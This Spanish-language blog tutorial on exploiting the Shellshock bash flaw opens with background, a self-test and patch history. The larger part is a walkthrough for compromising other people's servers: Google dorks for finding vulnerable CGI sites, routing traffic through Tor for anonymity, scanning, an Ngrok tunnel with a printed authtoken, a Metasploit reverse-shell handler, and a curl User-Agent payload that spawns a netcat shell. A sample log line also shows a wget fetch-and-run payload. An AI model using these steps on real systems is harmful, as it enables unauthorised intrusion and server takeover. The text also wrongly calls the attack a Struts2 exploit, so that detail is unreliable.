NeosLab.com
Explotación

Cómo Aprovechar la Vulnerabilidad Shellshock CVE 2014-6271

Se encontró un error en la forma en que Bash evaluó ciertas variables de entorno especialmente diseñadas. Un atacante podría usar esta falla para anular o eludir las restricciones de entorno para ejecutar comandos de shell. Ciertos servicios y aplicaciones permiten a los atacantes remotos no autenticados proporcionar variables de entorno, lo que les permite aprovechar este problema.

Shellshock, también conocido como Bashdoor, es una familia de errores de seguridad en el ampliamente usado shell Unix Bash, el primero de los cuales fue divulgado el 24 de septiembre de 2014. Muchos servicios orientados a Internet, como algunas implementaciones de servidores web, usan Bash para procesar ciertas solicitudes, lo que permite a un atacante causar versiones vulnerables de Bash para ejecutar comandos arbitrarios. Esto puede permitir que un atacante obtenga acceso no autorizado a un sistema informático.

GNU Bash a 4.3 procesa cadenas detrás de definiciones de funciones en los valores de las variables de entorno, lo que permite a los atacantes remotos ejecutar código arbitrario a través de un entorno diseñado, como lo demuestran los vectores que involucran la función ForceCommand en OpenSSH sshd, mod_cgi y mod_cgid en Apache HTTP Server, scripts ejecutados por DHCP clients no especificados y otras situaciones en las que se establece el entorno a través de un límite de privilegios de la ejecución de Bash, también conocido como “ShellShock”.

Fuente: cve.mitre.org

ANATOMÍA DEL ATAQUE

Pon a prueba tu entorno

Simplemente ejecuta este script bash en tu sistema y verás si eres vulnerable o no:

env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

¿Hay alguna amenaza para la banca en línea?

Esta vulnerabilidad se está explotando activamente en los servidores de destino alojados en Internet. Incluso algunas estaciones de trabajo que ejecutan Linux y OSX son vulnerables, pero un atacante aún tendría que encontrar un vector de ataque que funcione de forma remota contra su escritorio. Se ha lanzado una prueba de objetivo conceptual * nix stationstation dhcp clients, pero la mayoría de las políticas de proceso de dhcp de la estación de trabajo previene acciones de este tipo de exploits por defecto.

Los intentos de explotación que hemos observado apuntan a las vulnerabilidades del servidor y la descarga de DDoS bots para futuros DDoS attacks. Es probable que los servidores que alojan PII y que manejan datos confidenciales de los comerciantes también estén siendo atacados, pero aún no lo hemos observado. Hay comerciantes que lamentablemente no se parchan rápidamente.

¿Puedo detectar si alguien ha explotado esto en mi contra?

Recomendamos revisar sus registros HTTP y verificar si hay algo sospechoso. Un ejemplo de un patrón malicioso:

192.168.1.1 – – [25/Sep/2014:14:00:00 +0000] "GET / HTTP/1.0"  400 349 "() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777  /tmp/besh; /tmp/besh;"

También hay algunos parches para bash que registran cada comando que se pasa al intérprete bash. Esta es una buena forma de ver si alguien ha explotado su máquina. No evitará que alguien explote esta vulnerabilidad, pero registrará las acciones de los atacantes en el sistema.

¿Qué tan seria es la amenaza?

Este error es muy peligroso, pero no TODOsistema es vulnerable. Se deben cumplir condiciones especiales para que un servidor web sea explotado. Uno de los mayores problemas ahora es que cuando se publican parches, los investigadores buscarán otras formas de explotar bash, explorar diferentes condiciones que permitan su explotación, etc. Por lo tanto, un parche que ayude a prevenir la ejecución remota de código no puede hacer nada en contra, por ejemplo, sobrescribir un archivo. Entonces probablemente habrá una serie de parches y, mientras tanto, los sistemas siguen siendo vulnerables.

¿Es el nuevo Heartbleed?

Bueno, es mucho más fácil para un cibercriminal explotar que Heartbleed. Además, en el caso de Heartbleed, un ciberdelincuente solo podía robar datos de la memoria, con la esperanza de encontrar algo interesante. Por el contrario, la vulnerabilidad bash hace que el control total del sistema sea mucho más posible. Entonces parece ser más peligroso.

¿Se puede usar en futuros ataques APT?

Podría usarse para futuros desarrollos de malware, por supuesto. El malware puede usarse para probar automáticamente la infraestructura de un error de este tipo, para infectar el sistema o atacarlo de alguna otra forma.

CGI-Based Web Server

Cuando un servidor web utiliza Common Gateway Interface (CGI) para gestionar una solicitud de documento, pasa varios detalles de la solicitud a un programa controlador en la lista de variables de entorno. Por ejemplo, la variable HTTP_USER_AGENT tiene un valor que, en uso normal, identifica el programa que envía la solicitud. Si el controlador de solicitud es un script Bash, o si se ejecuta uno por ejemplo utilizando la llamada del sistema (3), Bash recibirá las variables de entorno aprobadas por el servidor y las procesará tal como se describió anteriormente. Esto proporciona un medio para que un atacante active la vulnerabilidad Shellshock con una solicitud de servidor especialmente diseñada. La documentación de seguridad para el servidor web Apache ampliamente utilizado dice: “Los scripts CGI pueden… ser extremadamente peligrosos si no se revisan cuidadosamente”. Y a menudo se usan otros métodos para manejar las solicitudes del servidor web. Hay una serie de servicios en línea que intentan probar la vulnerabilidad contra los servidores web expuestos a Internet.

Servidor OpenSSH

OpenSSH tiene una función “ForceCommand”, donde un comando fijo se ejecuta cuando el usuario inicia sesión, en lugar de ejecutar un shell de comando sin restricciones. El comando fijo se ejecuta incluso si el usuario especificó que se debe ejecutar otro comando; en ese caso, el comando original se coloca en la variable de entorno “SSH_ORIGINAL_COMMAND”. Cuando el comando forzado se ejecuta en un shell Bash (si el shell del usuario está configurado en Bash), el shell Bash analizará la variable de entorno SSH_ORIGINAL_COMMAND en el inicio y ejecutará los comandos incrustados en él. El usuario ha utilizado su acceso de shell restringido para obtener acceso sin restricciones al shell, utilizando el error Shellshock.

Clientes DHCP

Algunos clientes DHCP también pueden pasar comandos a Bash; un sistema vulnerable podría ser atacado al conectarse a una red Wi-Fi abierta. Un cliente DHCP generalmente solicita y obtiene una dirección IP de un servidor DHCP, pero también puede proporcionarle una serie de opciones adicionales. Un servidor DHCP malicioso podría proporcionar, en una de estas opciones, una cadena creada para ejecutar código en una estación de tra-bajo o equipo portátil vulnerable.

Servidor Qmail

Al usar Bash para procesar mensajes de correo electrónico (por ejemplo, a través de .forward o qmail-alias), el servidor de correo qmail pasa la entrada externa de una manera que puede explotar una versión vulnerable de Bash.

¿Cómo mitigar esta vulnerabilidad?

Hasta el 24 de septiembre de 2014, el mantenedor de Bash, Chet Ramey, proporcionó una versión de parche bash43-025 de Bash 4.3 que aborda CVE-2014-6271, que ya estaba empaquetado por los responsables de la distribución. El 24 de septiembre, siguió bash43-026, dirigiéndose a CVE-2014-7169.Luego se descubrió CVE-2014-7186 Florian Weimer de Red Hat publicó un código de parche para este “extraoficialmente” el 25 de septiembre, que Ramey incorporó a Bash como bash43-027. Estos parches proporcionan solo código, útil solo para aquellos que saben cómo compilar (“reconstruir”) un nuevo archivo ejecutable binario de Bash a partir del archivo de parche y los archivos de código fuente restantes.

Al día siguiente, Red Hat presentó oficialmente las actualizaciones correspondientes para Red Hat Enterprise Linux, después de otro día para Fedora 21. Canonical Ltd. presentó actualizaciones para sus versiones de Ubuntu Long Term Support el sábado 27 de septiembre; el domingo, hubo actualizaciones para SUSE Linux Enterprise. Luego del lunes y martes a fin de mes, aparecieron las actualizaciones de Apple OS X.

El 1 de octubre de 2014, Michał Zalewski de Google Inc. finalmente declaró que el código de Weimer y bash43-027 no solo habían solucionado los primeros tres errores, sino incluso los tres que se publicaron después de bash43-027, incluidos sus propios dos descubrimientos. Esto significa que después de las actualizaciones de distribución anteriores, no se han requerido otras actualizaciones para cubrir los seis problemas.

Fuente: github.com


ENCUENTRA OBJETIVOS POTENCIALES

No hay duda de que hay mil y una formas de encontrar objetivos vulnerables para este tipo de ataque. Para abreviar, vamos a utilizar una lista no exhaustiva de Google Dork para crear una lista de posibles sitios web vulnerables.

sitemap.xml filetype:xml intext:"cgi-bin"
filetype:sh inurl:cgi-bin
filetype:sh
intext:cgi-bin
intitle:apache "cgi-bin"
inurl:cgi-bin
inurl:wspd_cgi.sh
inurl:wslb.sh
inurl:"server-status" intitle:apache "cgi-bin"
inurl:cgi-bin "GATEWAY_INTERFACE = CGI"
inurl:cgi-bin inurl:printenv intext:SERVER_ADDR

Nota:

Se puede encontrar una lista adicional de dork en el archivo PDF adjunto.

Opcional

Para ahorrar tiempo y encontrar posibles objetivos vulnerables, le sugerimos encarecidamente que utilice “Pagodo”, una pequeña utilidad de Python para automatizar su búsqueda.

# Save your dorks list into a file such as "dorks.txt"
# Specify the output path and filename such as "urls.txt"
$ sudo python pagodo.py -­g dorks.txt ­-l 200 ­-s ­-e 35.0 ­-j 1.1 >> urls.txt

Fuente: github.com

INICIALIZAR LA SESIÓN DE TOR

Antes de seguir adelante necesitaremos proteger nuestro anonimato al ocultar nuestra ubicación actual y los detalles de la conexión. Por nuestra parte, usaremos TorPhantom, una sencilla herramienta de Python utilizada para enrutar todo el tráfico a través de TOR. Si aún no lo tiene instalado en su máquina, puede leer este artículo sobre cómo ocultar su IP usando TorPhantom.

Comience TorPhantom

# Type the below commands
$ sudo torphantom start ­-i <interface>

Salida

ESCANEO DE OBJETIVOS POTENCIALES

Ahora que nos estamos ocultando adecuadamente y obtuvimos una lista completa de posibles sitios web vulnerables, la exploraremos con Shellshock-Scanner para verificar si podemos seguir procesando.

Escanear con Shellshock-Scanner

# Type the below commands and follow up the screen prompt
$ ./shellshock-scanner

Salida

Una vez que haya identificado varias URL como vulnerables al shellshock, ¡Es hora de divertirse!

INICIALIZAR EL TÚNEL TCP

Una vez que estemos listos con nuestra lista de sitios web vulnerables y dado que TOR controla todo nuestro tráfico, crearemos un túnel TCP seguro utilizando Ngrok para reenviar el tráfico a nuestra máquina de forma anónima. Para el propósito de este documento, usaremos el puerto 4444 para recibir la sesión.

Comience Ngrok

# Your Token can be found in your Ngrok account
$ ./ngrok authtoken 8ml78jQFrVNah4cN8UwTt_5ZVZYRPD8q7huTk7vo8MZ

Crear la sesión

# Create the Ngrok session on the port 4444 using the below command
$ ./ngrok tcp 4444

Salida

CREAR EL CONTROLADOR DE MSF

Para abrir una sesión desde nuestro sitio web objetivo, necesitaremos crear un exploit multi-handler en nuestro Metasploit. Esto se puede hacer muy rápidamente utilizando los siguientes comandos.

Comience Metasploit

# Open Metasploit
$ msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf exploit(multi/handler) > show options

Salida

En el ejemplo anterior, estamos utilizando un payload TCP X86 Shell Reverse TCP, por supuesto, el tipo de payload será diferente si apuntamos a una máquina con Windows.


EXPLOTAR EL OBJETIVO

Ahora vamos a enviar nuestro exploit para crear un shell inverso usando un terminal bash y reenviar el tráfico a través del manejador de MSF usando el protocolo TCP.

Comando Bash

# Replace "YOUR-IP" with your tunnel IP or host adddress
# Replace "YOUR-PORT" with the port you configured in your tunneling
$ curl -k -H 'User-Agent: () { :;}; /bin/bash -c "nc YOUR-IP YOUR-PORT -e /bin/sh"' https://example.com/cgi-bin/wspd_cgi.sh/login.htm

¡Estás listo! Si su sitio web segmentado es vulnerable al exploit Struts2, se ha creado una sesión en su Metasploit que le permite hacerse cargo del servidor de la víctima.

Opcional

Para fines de demostración utilizamos Metasploit, pero puede obtener el mismo resultado usando Netcat y configurar su herramienta para escuchar su puerto de reenvío como el ejemplo que se describe a continuación:

# Replace "4444" with the port you configured in your tunneling
$ nc -lvnp 4444

Artículos Relacionados

Cómo Crear un Reverse Shell

neoslab

Como Usar SQLmap para Principiantes

neoslab

Cómo Evitar ser Detectado por Antivirus con Payloads Encriptados usando Venom

neoslab

Deja un comentario

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link